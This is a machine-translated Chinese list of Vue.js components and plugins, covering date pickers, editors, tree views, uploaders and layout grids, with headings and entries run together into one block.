无限滑动条组件。vue-virtual-infinite-scroll-基于 Iscroll 的 vue2 组件,支持具有高性能滚动,无限负载和拉动的大数据列表刷新。拉动刷新vue-pull-refresh-拉动刷新 Vue.js 2.0 的组件。vue-pull-to-下拉刷新和上拉为 Vue.js 组件加载了更多内容并无限滚动。vue-data-loading-另一个用于无限滚动和向下/向上加载数据的组件。vue-quick-loadmore-Vue 的下拉刷新和上拉无限滚动插件。降价vue-markdown-适用于 Vue 的强大,高速 Markdown 解析器。vue-mavonEditor-基于 Vue 的降价编辑器,支持多种个性化功能。vue-simple-markdown-适用于 Vue 的简单,高速 Markdown 解析器。vue-simplemde- simplemde的包装。不论是初学者还是专家,都可轻松编辑。具有内置的自动保存和拼写检查功能。toast-ui.vue-editor- [TOAST UI 编辑器]的 Vue 包装器(http://ui.toast.com/tui -编辑)。PDFvue-pdf-基于 mozilla 的 PDF.js 的 pdf 查看器pdfvuer-Vue 的 PDF 查看器,使用 Mozilla 的 PDF.js 和文本支持。演示树Vue.D3.tree-基于[D3.js]的树状视图(https://d3js.org/)vue-json-tree-view-Vue.js 的 JSON 树视图组件。vue-tree-Vue.js 2.X 的树组件。liquor-tree-惊人的 Vue 树组件vue-trees-ui-基于 Vue 的 Tree Ui。Bosket-前端框架(Vue,React,Angular 和 Riot)的树视图组件的集合。plantain-00 / tree-component-一个 reactjs,angular 和 vuejs 树组件。sl-vue-tree-适用于 Vue.js 的简单可定制的可拖动树组件vue-draggable-nested-tree-适用于 Vuejs2 [@phphe](https://github.com的功能强大的可自定义可拖动树视图组件。 com / phphe)vuejs-tree-高度可定制的 VueJs 树查看器vue-jstree-适用于 Vue2 的树形插件,带有漂亮的图标和拖放功能vue-vtree-Vue.js 的通用且灵活的树组件vue-json-component-JSON 树视图,没有依赖项,TypeScript 支持且易于定制。vue-tree-list-用于树形结构的 vue 组件社交分享vue-social-sharing-一个 Vue.js 组件,用于共享指向社交网络的链接,可与 Vue.js 1.X 或 2.X 一起使用。vue-goodshare-用于社交共享的 Vue.js 组件,具有精美的按钮设计。简单的安装,丰富的文档,开发人员支持,SEO 友好,干净的代码,无需脚本即可快速跟踪页面上的用户活动。使用 Vue.js2.x。vue-socialmedia-share-一个 Vue.js 组件,用于使用 Vue 2.X 共享与社交网络的链接vue-picture-sharesheet-一个 Vue 图片共享表组件,受到苹果新闻编辑室中图片共享表的启发vue-twitter-用于嵌入 Twitter 小部件(例如时间线,按钮)的 Vue.js 组件vue-share-buttons-Vue.js 组件,用于在您的项目中放置按钮,您可以共享任何东西## 二维码vue-qriously-一个 Vue.js 2 组件,用于使用 qrious 在 HTML Canvas 上绘制 QR 代码。vue-qart-vue 2.x 用于 qart.js 的指令。vue-qrcode-reader-一个 Vue.js 2 组件,可从相机流中检测和解码 QR 码。搜索vue-fuse-模糊搜索库 Fuse.js 的轻量级插件vue-instantsearch-使用Algolia创建即时搜索体验的终极工具箱。vue-innersearch-用于 Elasticsearch 的 Vue.js 包装器reactivesearch-vue-用于使用 Elasticsearch 构建数据驱动的应用程序的 UI 组件其他vue-avatar-vue.js 的头像组件。vue-touch-ripple-Vue.js 的触摸波纹组件(1.x〜2.x)。vue-typer-Vue 组件,用于模拟用户键入,选择和擦除文本。vue-keyboard-Vue 2 虚拟键盘组件。vue-twentytwenty-图像比较组件,可与 Vue.js 2.x 一起使用vue-cookie-law-Vue.js 2.x 的 Cookie 信息插件vue-gravatar-适用于 Vue.js 2.x 的简陋的 gravatar 组件vue-clipboard2-一种易于使用的 Vue.js 2.x 剪贴板剪贴板绑定vue-flashcard-带有 Vue.js 2.x 动画的 FLashcard 组件:bulb:vue-truncate-collapsed-一个简单的组件,它会截断文本并为 Vue.js 2 添加可点击的“阅读更多/显示较少”。 Xvue-kanban-灵活的拖放式看板板组件vue-letter-avatar-vue.js 的简单优雅的字母头像组件vue-highlightjs-使用 highlight.js 突出显示语法v-clipboard-简单,小巧且易于使用的指令将您的模型保存到剪贴板(最小 2kb,无依赖项)vue-invisible-recaptcha-超级简单的 Google 隐形 reCAPTCHA 集成vue-embed-Embed 组件基于 Vue 2.x 的 embed.js,该组件可嵌入表情符号,媒体,地图,tweet,要点,代码,服务和减价。vue-particles-粒子背景的 Vue.js 组件vue-uniq-ids-Vue.js 2.x 插件,可帮助使用与 ID 相关的属性,且无副作用vue-multivue-在同一页面上使用同一类的多个 vue 应用。vue-affix-一个 Vue.js 2.x 插件,可在滚动时在窗口中添加元素,类似于 Bootstrap Affix,但更简单,更智能X-Browser-Update-Vue-一个 Vue.js 浏览器更新插件。vue-query-builder-用于使用嵌套条件构建复杂查询的 UI 组件。vue-info-card-一个简单漂亮的卡片组件,带有优美的火花线和 CSS3 翻转动画。v-offline-简单,小巧且易于使用的 Vue 应用程序检测离线和在线事件(最小 390b)vue-word-cloud-词云生成器。vue-flat-surface-shader- Vue-flat-surface-shadervue-easteregg-Easey 在您的 Vue 应用中添加了 Easteregg(默认使用 konami 代码)vue-barcode-scannervue-heatmapjs-用于跟踪和可视化鼠标活动的 Vue 指令vue-maze-由 Vue.js 组件制作的小巧迷宫游戏vue-drag-verify-这是一个 vue 组件,可以滑动以解锁以进行登录或注册。vue-balloon-Vue 组件,用于在页面一角创建固定的,可缩放的容器。与 gmail 中使用的邮件撰写包装类似。vue-sticker-任意方向的贴纸效果v-rating-⭐️ 使用 VueJS 制作的语义 UI 中的评级组件(<500B 压缩,速度非常快)vue-content-placeholders-用于在 vue 中渲染诸如 Facebook 之类的伪造(渐进)内容的可组合组件vue-page-designer-Vue 组件,用于拖放来设计和构建移动网站。vue-creativecommons-CreativeCommons.org Vue.js 组件库。vue-status-indicator-一个 Vue.js 组件,用于将状态指示器显示为彩色圆点。vue-google-adsense-具有 InFeed 和 InArticle Ads 支持的 Vue.js Google Adsense 组件emoji-vue-Vue.js 项目的 Emoji😎👌🏻 下拉菜单vue-chessboard-棋盘 vue 组件可加载位置,创建位置并查看威胁。vue-mindmap-用于 mindnode 映射的 Vue 组件。v-currency-用于格式化货币的 Vue 组件。vue-emoji-picker-高度可定制的 Unicode 表情符号选择器 🔥🚀vue-8-puzzle-一个由 Vue.js 组件制作的小巧幻灯片益智游戏vue-e164-具有 E.164 标准支持的可自定义电话格式化程序vue-pgn-Vue.js 组件,用于以 pgn 格式查看棋牌游戏vue-avatar-editor-使用清晰的用户界面调整大小,旋转并裁剪上传的头像。vue-connection-listener-Vue 事件总线插件监听在线/离线更改。vue-sauce-Vue 的“查看源代码”指令。vue-prom-Vue 承诺包装器组件。数字键盘-用于移动浏览器的数字键盘。vue-zoom-on-hover-鼠标悬停时图像缩放vue-sensitive-image-Vue 组件,可让您快速创建具有最佳数量的所有设备图像源的响应式图像标签。vue-highlight-text-Vue 组件,用于突出显示单词的多个实例vue-cast-props-提供了一种将 props 转换为常见数据类型的便捷方法。vue2-heropatterns-一个 Vue2 实现,允许您将流行的 Hero Patterns 添加到任何 Div 上vue-link-一个将所有链接都链接在一起的组件(处理外部和内部链接相同)vue-identify-network-⚡️ 识别您的用户正在使用哪种互联网!vue-cloneya-用于克隆 DOM 元素的 vue 组件vue-survey-builder-vue.js 应用程序的调查生成器vue-if-bot-一个轻量级的组件,用于基于用户代理向客户端隐藏/显示内容vue-clampy-Vue.js(2+)指令,通过在其中包含内容的元素加上省略号来限制元素的内容太长。vue-cookie-accept-decline-在页面上显示带有文字,拒绝按钮和接受按钮的横幅。记住使用 cookie 进行选择。使用创建时的当前选择来发出事件。符合 GDPR 要求。@ lossendae / vue-avatar-VueJS 2.0 的头像组件。vue-text-highlight-Vue.js 的文本荧光笔库 💄vue2-hammerVue 2.x 的 Hammer.js 包装器支持移动触摸。vue-countable-countable.js 的 Vue 绑定。提供实时的段落,句子,单词和字符计数。v-show-slide-一个 Vue.js 指令,用于将元素上下移动动画:自动滑动。vue-swipe-actions-适用于 Vue.js 的 iOS 样式滑动操作vue-friendly-iframe-用于创建超快速加载,无阻塞 iframe 的 Vue js 组件。vue-beautiful-chat-一个简单而美丽的 Vue 聊天组件后端不可知,完全可自定义和可扩展。vue-magnifier-Vue.js 2.x 的简单图像缩放/放大组件。vue-highlight-words-Vue 组件可在较大的文本正文中突出显示单词。从[react-highlight-words]移植(https://github.com/bvaughn/react-highlight-words)vue-tags-ball-使用此插件创建漂亮的球形标签vue-rippler-用于自定义波纹效果的简单 Vue.js 插件vue-contacts-Vue 的移动通讯录组件basic-vue-chat-易于使用的 Vue.js 聊天vue-resize-text-一个 vue 指令,可根据元素宽度自动调整字体大小。vue-github-profile-一个 Vue 组件,用于查看确定的用户的配置文件和存储库vue-niege-🎅 单文件 Vue 组件可通过画布添加暴风雪。vue-dynamic-star-rating-高度动态的 Vue 明星评分组件,例如 Google Play 评分 ⭐️⭐️⭐️⭐️⭐️⭐️vue-katex-在 Vue.js 中使用 KaTeX 进行数学排版的简单插件vue-canvas-identify- [vuc-identify]的 Vue 画布组件(http://vuc.tianchenyong.top)vue-canvas-material- [vuc-material]的 Vue 画布组件(http://vuc.tianchenyong.top/#/materia)vue-baberrage-一个基于 Vue.js 的简单弹幕插件 😎vue-terminal-ui-🖥TerminalUI 模拟器 Vue:自定义和基本命令vue-command-完全正常工作的 Vue.js 终端模拟器vue-ribbon-GitHub 功能区的 Vue 组件avatio-avatar-插图化身的 Vue 组件- Avatio使用vue-jazzicon-用于 Vue 的简陋的 Jazzicon 组件。vue-star-rating-一个简单的,高度可定制的星级评分组件 ⭐️⭐️⭐️vue-fixed-header-简单且跨浏览器友好的由 TypeScript 编写的 Vue.js 固定标头组件。vue-particle-effect-buttons一个爆发粒子效果按钮组件。vue-insomnia-防止显示屏进入休眠状态(唤醒锁定)。vue-car-plate-keyboard-用于 VueJS 2.x 的汽车牌照号码键盘。能源车牌 🚗🚗🚗)vue-dataflow-editor-Vue2 数据流图编辑器cool-emoji-picker-Vue 的快速即插即用[Tw] emoji Picker(用于 Twemoji 渲染的+ textarea)组件。标签vue-tabs-简单的标签和药丸。vue-swipe-tabs-vue.js(vue2)的触摸滑动选项卡组件。vue-tabs-component-一种使用 Vue 显示标签的简便方法。vue-k-tabs-具有 Gitlab 设计的简单标签组件。vue-tabs-with-active-line-简单的 Vue 2 组件,可让您制作带有移动底线的标签vue-tabs-chrome-一个类似于 Chrome 的标签的 Vue 组件。电话号码输入格式器vue-phone-number-input-一个漂亮的输入,用于格式化与国家/地区代码有效的电话号码:fire:选择器vue-smooth-picker-Vue 2.x 的平滑选择器组件,例如 iOS 本机日期时间选择器。发电机FormSchema Native-使用 JSON Schema 和 Vue.js 生成表单vue-awesome-form-一个 vue.js 组件,就像 json-editorvue-generator-Vue 项目的初始路由器和组件。vue-form-json-从 json 生成具有验证和 bulma 样式的 vue 表单form-create-具有动态呈现,数据收集,验证和提交功能的表单生成器,支持 json 数据element-form-builder-使用 JSON 模式构建 element-ui 表单。ncform-一种非常好的配置生成表单的方式Laraform-具有 Laravel 支持的 Vue.js 的高级表单生成器vue-ele-form-Vue DataForm,基于 element-ui日期选择器vue-datepicker- [未维护]具有用于 Vue.js 的材质设计的日历和 datepicker 组件。vue2-timepicker- [未维护] Vue 2.x 的下拉时间选择器(小时|分钟|秒),具有灵活的时间格式支持。vuejs-datepicker-一个简单的 Vue.js datepicker 组件。支持禁用日期,内联模式,翻译。vuedt- [未维护]疯狂的轻量级(5.5kb!)Vuejs 日期和时间选择器组件,动画效果很好,而且没有太多的模糊感。vue-flatpickr-component用于flatpickr日期时间选择器的 Vue.js 组件vue-bootstrap-datetimepickerVue.js 组件,用于[eonasdan-bootstrap-datetimepicker](https://github.com/Eonasdan/bootstrap- datetimepicker /)vue-jalaali-datepicker-vue.js 的 Jalaali 日历和日期选择器 2。vue-date-picker-一个受材料设计启发的 vue 日期选择器组件vue-monthly-picker-仅适用于月份和年份选择器的 Vue.js 组件vue-hotel-datepicker-响应式日期范围选择器,显示选定的住宿天数,允许自定义入住/退房规则,屏蔽日期,本地化支持等。vue2-persian-datepicker-vue 的真棒波斯 datepicker 组件。کامپوننتانتخابتاریخبرایویو。vue-datetime-Vue 的移动友好日期时间选择器。支持日期,日期时间和时间模式,i18n 和禁用日期。vue-rangedate-picker-具有简单用法的范围日期选择器v2-datepicker-基于 Vue 2.x 的简单 datepicker 组件。vue-datepicker-local-Vue2 的一个漂亮的 Datepicker 组件。vue-airbnb-style-datepicker-Vue datepicker,外观和功能与流行的 AirBnb datepicker 相似。轻巧,可配置且良好的浏览器支持!vue-persian-datetime-picker波斯材料 datepicker。支持日期时间,日期,时间,年,月。VCalendar非常可定制且功能强大的日历/日期选择器组件,具有许多功能和完善的文档。@ owumaro / vue-date-range-picker-使用 Bootstrap 4 样式进行日期范围选择的 Vue 组件vue-datepicker-mobile-适用于 vue2 的移动友好日期选择器。:cn:选择日期或日期范围,然后自定义所需的日期。vue-draggable-cal-不是普通的日期选择器。一个 Vuejs 可拖动的日期选择器,具有全新的响应式设计,可移动且具有 0 个依赖项,已压缩 17kb。vue-vanilla-datetime-picker-Vue 的日期时间选择器。vue2-daterange-picker-基于 bootstrap-daterangepicker 的 Vue2 日期范围选择器(无 jQuery 依赖性)vue-timeselector-完全简单可定制的 Vue.js 功能强大的时间选择器组件。vue-date-picker-Vue 2.x 的轻量级 datepicker 组件。vue-ctk-date-time-picker-一个漂亮的 VueJS 组件,用于选择日期和时间(使用范围模式):新:simple-vue2-datetimepicker-一个简单易用的 vue.js 组件,用于日期和时间选择。:新:vue-business-hours-Vue 组件,用于在管理面板或仪表板中选择营业时间。material-vue-daterange-picker-Vuejs 2.x 的 Material Design 样式的日期范围选择器,与 vuetify 和友好版本兼容手机。vue-datepicker-具有 Vuejs 2.x 的 Material Design 样式的干净响应式日期选择器。(日期/月/季度&&日期范围选择器):新:选择vue-select-一个本地 Vue.js 组件,提供与 Select2 类似的功能,而无需 jQuery 的开销。vue-multiselect-Vue.js 的通用选择/多重选择/标记组件。stf-vue-select-最灵活和自定义的选择 Vue2vue-select-image-Vue 2 组件,用于从列表中选择图像@ riophae / vue-treeselect-具有对 Vue.js 的嵌套选项支持的多选组件。@ k186 / pd-select-一个移动 UI 组件,例如 Vue 2.x 的 IOS 选择器,可以随便定义。vue-dropdowns-如果对 vue2.x 使用对象,则是一种显示选择框的简约且可适应的方法v-cascade-带有 Vue 2.x 的层叠选择器的一个可爱组件(支持 PC 和 Mobile)vue-multi-select-用于对 Vue2 进行选择/多重选择的自定义组件。v-region-一个简单的区域选择器,提供中文行政区划数据。v-selectpage-Vue2,分页列表或表格视图的强大选择器,使用标签进行多项选择,i18n 和服务器端资源支持。vue-cool-select-引导程序/材质设计主题,支持广告位,自动填充,事件,验证等。@ myena / advanced-select-具有搜索功能,用于(取消)全选和 Bootstrap 3 主题的单/多选择组件@ alfsnd / vue-bootstrap-select-Vue 版本的bootstrap-select。滑块vue-slider-component-vue1.x 和 vue2.x 的滑块。vue-circle-slider-vue2.x 的圆形滑块组件。vue-netflix-slider-像 Netflix 的滑块。vue-slide-bar-非常简单的 vue 滑条组件。textra-Vue js 插件可滑动文本。vue-knob-control-Vue.js 的旋钮控件拖放vuedraggable-Vue 组件允许与 View-Model 同步进行拖放排序。基于 Sortable.js。vue-dragula-拖放是如此简单,很痛苦。vue2-dragula-Vue2 的vue-dragula分支,有很多改进。awe-dnd-具有 Vue 的可排序列表指令。vue-draggable-resizable-用于可拖动和可调整大小元素的 Vue2 组件。vddl-用于使用 HTML5 拖放 API 修改列表的 Vue 组件,支持 VueJs 版本 1 和 2。vue-drag-drop-HTML5 拖放 API 的最小且轻巧的包装器。vue-swing-可滑动的卡片界面,如在 Jelly 和 Tinder 等应用中所见。vue-slicksort-一套无需依赖的混合包,用于动画,触摸友好,可排序的列表draggable-vue-directive-处理任何 Vue 组件拖放的简单指令。vue-smooth-dnd-smooth-dnd 库的 Vue 包装器。拖放,可分类的库,适用于许多情况。vue-drag-resize-一个无依赖的 Vue 组件,用于可拖动和可调整大小的元素,具有高宽比,反应性道具等vue-drag-it-dude-Vue2 组件,可让您将对象拖动到任意位置。vue-draggable-Vue 拖放库没有任何依赖性。简单易用。vue-nestable-作为 vue 组件制作的简单拖放层次列表。vue-draggable-nested-tree-适用于 Vuejs2 [@phphe](https://github.com的功能强大的可自定义可拖动树视图组件。 com / phphe)自动完成vue-instant-Vue 即时可让您轻松为 vue 2 应用程序创建带有自动建议的自定义搜索控件。v-autocomplete-Vue.js 的自动填充组件vue-awesomplete-Awesomplete 的 Vue 包装器vue-auto-complete-Vue2 的自动完成。适用于对象或 api 调用。vue-autosuggest-WAI-ARIA 完整的 Autosuggest 组件,对渲染和样式进行了完全自定义。v-autosuggest-一个简单的模块化 Vuejs 组件,可以自动建议来自动态或静态数据查询的输入。自动完成-适用于 Vue.js 2. *的简单自动完成组件vue-infinite-autocomplete-Vue 的 Vue 无限-自动完成包装 2。vue-simple-suggest-Vue.js 的简单但功能丰富的自动完成组件v-suggest-一个 Vue2 插件,用于输入内容建议,支持键盘快速选择。vue-bootstrap-typeahead-使用 Bootstrap 4 CSS 的 Vue2 的 typeahead / autocomplete 组件。类型选择vue-input-tag-Vue.js 2.0 输入标签组件。v-distpicker一个灵活,高度可用的区域选择器,用于为 Vue.js 2.x 挑选中国的省,市和地区。vue-img-inputerVue 2 的优美,高度可定制的 img 类型输入vue-img-previewvue 2 中的图像输入预览组件v-image:相机:用于输入 type = file 的小组件(<1kb,已压缩)@ voerro / vue-tagsinput一个简单的标签输入了带有 typeahead / autocomplete 的 Vue.js 2 组件vue-tag-selector-类似于标签的输入。轻巧,可自定义并处理 REGEX 验证!颜色选择器vue-color-适用于 Sketch,Photoshop,Chrome 等的 Vue 拾色器。vue-swatches-帮助用户选择漂亮的颜色!radial-color-picker-简约的拾色器,着重于尺寸,可访问性和性能。vue-color-picker-board-为人类设计的 Vue 拾色器组件!verte-一个完整的 Vue.js 颜色选择器组件。开关vue-switches-具有主题支持的 Vue.js 的开/关开关组件。vue-js-toggle-button-Vue.js 2.0+切换/切换按钮-简单,漂亮,可自定义。vue-checkbox-radio-一个 Vue 组件,可轻松设置复选框和广播输入的样式。vue-enhanced-check-用于重新设计/标记复选框/无线电的 Vue 组件,包括切换/切换按钮。pretty-checkbox-vue- [pretty-checkbox 3]的实现(https://lokesh-coder.github.io/pretty- checkbox /)(用于美化复选框和单选按钮的纯 CSS 库)组件,适用于 Vue.js 2.2+。vue2-collapse-Vue Collapse 是一个灵活的内容切换插件,用于手风琴列表或任何其他有条件的内容呈现。vue-badger-accordion-用于 Vue.js 2.0+的 Badger 手风琴的包装组件vue-loading-checkbox-具有加载状态的高度可定制的 Vue.js 复选框 UI 组件vue-rocker-switch-Vue.js 的可自定义翘板开关组件。vue-toggle-btn-高度可定制,易于使用的优雅切换/切换按钮组件屏蔽输入vue-masked-input-Vue.js 的蒙版输入组件。vue-text-mask-用于 React,Angular,Ember,Vue 和普通 JavaScript 的输入掩码。vue-ip-input-由 vuejs 实现的 ip 输入。vue-numeric-输入字段组件,用于显示基于 Vue 的货币值。awesome-mask-基于纯 VanillaJS 实现的 Mask 指令v-money-货币的微小(<2k 压缩)输入/指令掩码vue-autonumeric-一个 Vue.js 组件,包装了很棒的AutoNumeric输入格式化程序库vue-inputmask-Vue.js 指令可将 Robin Herbots 的 inputmask 库添加到您的输入中(香草 javascript)。vue-input-number-Vue.js 2 的自定义输入数字组件。v-unicode-Vue 指令通过 unicode 值限制输入。vue-cleave-component- [cleave.js]的 Vue.js 组件(http://nosir.github.io/cleave.js /)vue-ip-具有端口和材料设计支持的 ip 地址输入vue-r-mask-具有类似于 javascript 正则表达式的模板的指令。vue-input-code-基于 Vue.js 2.0+验证码输入组件。label-edit-受 Trello 的启发。单击以显示可编辑的输入并返回值更改。这是 Vue 组件。vue-jquery-mask- [jQuery Mask 插件]的 Vue.js v2.x 组件(https://github.com/igorescobar/ jQuery-掩码-插件)vue-the-mask-Tiny(<2k gzipipped)和 Vue.js 的无依赖掩码输入vue-canvas-input- [vuc-input]的 Vue 画布组件(http://vuc.tianchenyong.top/#/identify)vue-currency-input-轻松输入 Vue.js 的货币格式数字。vue-restricted-input-基于[restricted-input]的 vue.js 输入掩码库(https://github.com/braintree /受限输入)RTF 编辑vue-quill-editor-Vue2 的鹅毛笔编辑器组件。vue-mobiledoc-editor-适用于 Vuejs 的 mobiledoc 编辑器组件工具包。vue2-medium-editor-Vue 2 的 MediumEditor 组件。vue-froala-用于 Froala 编辑器的 VueJS 包装器。vue-froala-wysiwyg-Froala WYSIWIG HTML 编辑器的官方 VueJS 插件。vue-at-Vue 的 At.js。vue-wysiwyg轻巧,快速且可扩展的所见即所得编辑器vue-trumbowyg[Trumbowyg]的 Vue.js 组件(http://alex-d.github.io/Trumbowyg/)所见即所得编辑器vue-pell-editor用于Pell的 Vue.js 组件所见即所得编辑器vue-tinymce-editorVue2 的 Tinymce 编辑器组件。vue-mce-VueJS 的 tinymce 编辑器组件。Vue2-Editor-使用 Vue.js 和 Quilljs 的 HTML 编辑器vue-codemirror-Vue2 的 Codemirror 组件。vue-easy-tinymce-一个简单而强大的软件包,可在 Vue.js 项目中轻松使用 tinymce。vue-highlightable-input-输入文字时突出显示和设置样式vue-trix-用于 Vue.js 的简单轻巧的 Trix 富文本编辑器tiptap-Vue.js 的不可渲染且可扩展的 RTF 编辑器toast-ui.vue-editor- [TOAST UI 编辑器]的 Vue 包装器(http://ui.toast.com/tui -编辑)。ckeditor5-vue-Vue.js 的官方 CKEditor 5 Rich Text 编辑器组件。yimo-vue-editor-Vue2 的 wangEditor2 组件。vue-mathlive适用于 Vue.hjs 的 MathLive 数学编辑器(mathfield)图像处理vue-core-image-upload-一个用于裁剪和上传图像的 vue 插件。vue-croppa-适用于 Vue 2.0 的简单易用的可自定义轻量级移动友好图像裁剪器。vue-cropper-vue2.0 的图片剪辑插件toast-ui.vue-image-editor- [TOAST UI 图像编辑器]的 Vue 包装器(http:// ui。 toast.com/tui-image-editor)。vue-quick-cropper-Vue 移动头像上传裁剪插件可以选择裁剪区域和缩放。vue-canvas-image-Vue 画布组件,用于vuc-imagevue-croppie-另一个图像裁剪器vue-slim-cropper-💇Vue 2.x 的简单优雅的移动图像裁剪上传组件。vue-advanced-cropper-先进的裁剪器,使您有机会创建几乎任何想要的裁剪器vue-cloudinary-vue(2.0)插件提供了可重用的指令,可通过动态操作从 Cloudinary(https://cloudinary.com)获取图像(调整大小/裁剪/效果/水印/缩放/格式化)和优化(webp / png /自动质量/自动视网膜)。img-Vuer-Vue2 的 Mobile-First 图像查看器/图库vue-image-loader-Vue 加载器/渐进式图像插件,例如 Medium。vue-load-image-在图像加载期间显示加载器,并在图像加载失败时显示替代内容。vue-image-painter-V Vue 2.x 的图像魔术动画绘制效果组件。视频操作vue-playlist-轻量级的 vue(2.0)组件,没有依赖关系,可提供真正无缝的 html5 视频播放。使用 Vanilla JS 进行无缝视频播放的唯一且唯一可行的解 决方案。它需要一系列视频并将它们拼接在一起成为一个视频。## 上传文件vue-clip-用于 VueJ 的简单且可入侵的文件上传器。支持 Vue> = 2.1。vue-simple-upload-Vue.js 的简单文件上传组件。vue2-multi-uploader-使用 Vue.js v2 和 Axios 的拖放式多文件上传器组件。上载器显示文件名,大小和添加文件的总大小。它还允许设置所需的最小文件上传数量。vue-dropzone-Dropzone.js 的 Vue.js(vue2)组件-具有图像预览功能的拖放文件上传实用程序。vue-transmit-一个纯粹的基于 Vue 2.0 的 Dropzone.js 的 Vue.js 拖放上传器组件vue-upload-component-Vue 上载组件,多文件上载,上载目录,拖动上载,拖动目录。支持 Vue> = 2.0vue-uploader-一个由 simple-uploader.js 驱动的 Vue.js 上传组件ic-firebase-uploader-用于 Firebase 存储的干净的多文件上传组件。vuejs-uploader-用于大型文件上传的可恢复的分段文件上传器。vue-filepond-FilePond 的 Vue.js 组件-文件上传库,可以上传您扔给它的任何内容。v-uploader-一个 Vue2 插件,可以使上传文件变得更加轻松简单,您可以拖动文件或在对话框中选择文件进行上传上下文菜单vue-context-menu-vue js 的上下文菜单组件。vue-lil-context-menu-Vue 的灵活的 lil 上下文菜单组件。vue-mouse-menu-适用于 vue 2+的鼠标菜单组件。@ hscmap / vue-menu-vue2 的菜单/上下文菜单组件。vue-context-用于 vue js 的简单但灵活的上下文菜单。vue-simple-context-menu-为 Vue 构建的简单上下文菜单组件。左键单击和右键单击都可以很好地工作。vue-context-menu-popup-Vue 2 的上下文菜单弹出窗口。右键单击即可工作,也可以通过编程方式触发。@ kiyoaki_w / vue-context-为 Vue2 构建的可自定义上下文菜单组件,支持惊人的图标。其他vue-gmaps-使用 Google Maps API 搜索地点和地址。vuep-使用实时编辑器和预览渲染 Vue 组件的组件。vue-places-Places 组件基于 Vue 2.x 的 places.js。将任何输入转换为地址自动完成。vue-password-strength-meter-vue.js 中基于 zxcvbn 的密码强度计。vue-float-label-Vue.js 的浮动标签模式。vue-longpress-一个 VueJS(2.x)按钮组件,需要您持续按下以确认给定的动作。vue-google-autocomplete-适用于 Google Maps Places API 的 Vue.js(2.x)自动建议组件。vue-ip-input-Vue.js 2.x 的 ip 输入组件vue-default-value-Vue.js 2.x 指令为可编辑元素设置默认值,而不会影响模型状态vue-model-autoset-一个 Vue.js 插件,可解决通过 v-model 指令观察动态添加的属性时 Vue 的限制vue-submit-Ladda 的简单实现([1](http://lab.hakim.se /ladda/),2)不到 90 行代码,没有任何依赖关系。vue-rate-Vue 的费率组件vuetify-google-autocomplete-适用于 Google Maps Places API 的 Vuetify 就绪 Vue.js(2.x)自动建议组件。vue-ripple-directive-材质纹波效果作为 Vue 指令。vue-fab-Vue 浮动操作按钮。vue-complexify-来自 jquery.complexify.js 的 Vuejs 移植库。vue-mc-Vue.js 的模型和集合vue-stars-高度可定制的等级控制(使用星号或其他字符)vue-confirmation-button-可自定义的确认按钮,要求用户在执行操作之前先阅读消息vue-poll-用于投票的 Vue.js 组件vue-diagrams-vue.js 的图表组件,受 react-diagrams 启发vue-easy-polls-一个 Vue.js 组件,用于创建民意调查,投票和显示结果。它易于实现且易于定制。vue-m-button-vue 的漂亮按钮组件。vue-long-click-用于 vue 的长按(长按)指令库,支持移动设备和台式机。vue-ui-predicate-规则编辑器,通用过滤 UI,Vue JS 的谓词组件。vue-mobile-detection-Vue.js 原型函数this。$ isMobile()会根据布尔值是否返回布尔值用户正在使用手机浏览。vue-input-contenteditable-用于`contenteditable'的 Vue 组件包装,具有您通常期望的所有功能。进行漂亮的输入,不受“ input [type ='text']”的限制。向导vue-form-wizard-基于选项卡的组件,可以代替经典的 bootstrap 和 jQuery 表单向导vue-stepper-一个简单的步进器,具有诸如 next,back 和 end 之类的简单动作,可以执行简单的表单。vue-stepper-component-具有 Vuex 支持和零依赖性的完全可定制的 Stepper 组件。CSVvuecsv-来自 json 的简单 CSV 下载程序,带有选项模式面板组件。评论系统vue-comment-grid-💬 使用 CSS Grid 和 Firebase REST API + Authentication 构建的自适应 Vue.js 注释系统插件。帆布vue-easeljs-对 HTML5 canvas 元素的数据驱动控制。vue-canvas-effect-Vue.js 的简单画布效果集合。vue-konva-Vue&Canvas-JavaScript 库,用于使用 Vue 绘制复杂的画布图形。vue-html2canvas-Vue mixin 捕获 html 并使用 Html2Canvas 将其转换为图像。vue-canvas-nest-适用于 canvas-nest 的 Vue.js 组件。vue-signature-pad-V Vue 签名板组件链接预览link-prevue-用于生成链接预览的灵活组件。游览vue-tour-轻巧且可自定义的游览插件vue-page-guide-具有指令的页面游览/指南插件UI 布局vue-waterfall-Vue.js 的瀑布布局组件。vueisotope-用于同位素过滤器和分类魔术布局的 Vue 组件。vue-grid-layout-Vue.js 的可拖动和可调整大小的网格布局。vue-drag-zone-Vue.js(2.x)的拖动区域组件。vue-masonry-用于砌体块布局的 Vue.js 指令。vue-fraction-grid-基于 Flexbox 的 Vue.js 响应式分数网格系统。vue-virtual-scroll-list-Vue(2.x)组件通过使用虚拟滚动列表支持大数据。vue-virtual-scroller-用于有效滚动大量元素的组件(Vue 2.x)。vue-virtualscroll- [Vue 2.x]组件用于虚拟滚动内容。vue-inview- [Vue 2.x]视口,在输入或离开 DOM 元素时获取通知。dnd-grid-具有可拖动和可调整大小的框的 vuejs 网格vue-extend-layout-扩展默认布局或为 Vue.js SPA 的页面创建自定义布局vue-masonry-css-由 CSS 驱动的 Vue.js Masonry 布局组件,无依赖vue-fullpage.js-Vue.js 的官方 fullPage.js 组件。vue-virtual-collection-用于有效渲染大型集合数据的 Vue 组件。自动响应-vue-Vue 的自动响应网格布局库。VueFlex-一个 flexbox 网格系统。v-chacheli-一个 Vue.js 组件,用于创建和显示类似于仪表板的自定义网格布局。vue-grid-styled-一组轻量级的功能网格组件,从 React 的grid-styled / jxnblk /网格样式/)简单网格-用于网格布局的 Vue 组件,支持 flex。vue-container-component-受 Bootstrap 容器启发的简单容器组件vue-colcade-用于将 Colcade 网格布局集成到 Vuejs 的小包装。vue-ads-layout-一个小的 Vue 组件库,可快速生成带有工具栏,左/右抽屉和页脚的响应式 Web 应用程序布局。所有组件都可以固定或相对放置。vue-magic-grid-Vue.js 2 的 Magic Grid 小端口。vue-splitter-pane-一个 Vuejs 组件,它以可调节的拆分方式(垂直或水平)呈现两个插槽。splitpanes-一个 Vue JS 可靠,简单且可触摸的窗格拆分器/缩放器。vue-mock-layout-轻松模拟 Vue 应用程序的布局。vue-simple-drawer-带有反弹动画,支持嵌套和自定义主题的小抽屉面板。方向:左/右/上/下vue-grd-用于网格布局的简单,轻巧和灵活的 Vue.js 组件。自适应quasar-framework-类星体框架。使用 VueJs 2 使用相同的代码构建响应式网站,混合移动应用程序(在 Android 和 iOS 上看起来本机)和 Electron 应用程序。vue-material-Vue.js 的材料设计。vuetify-Vue.js 的材料组件框架 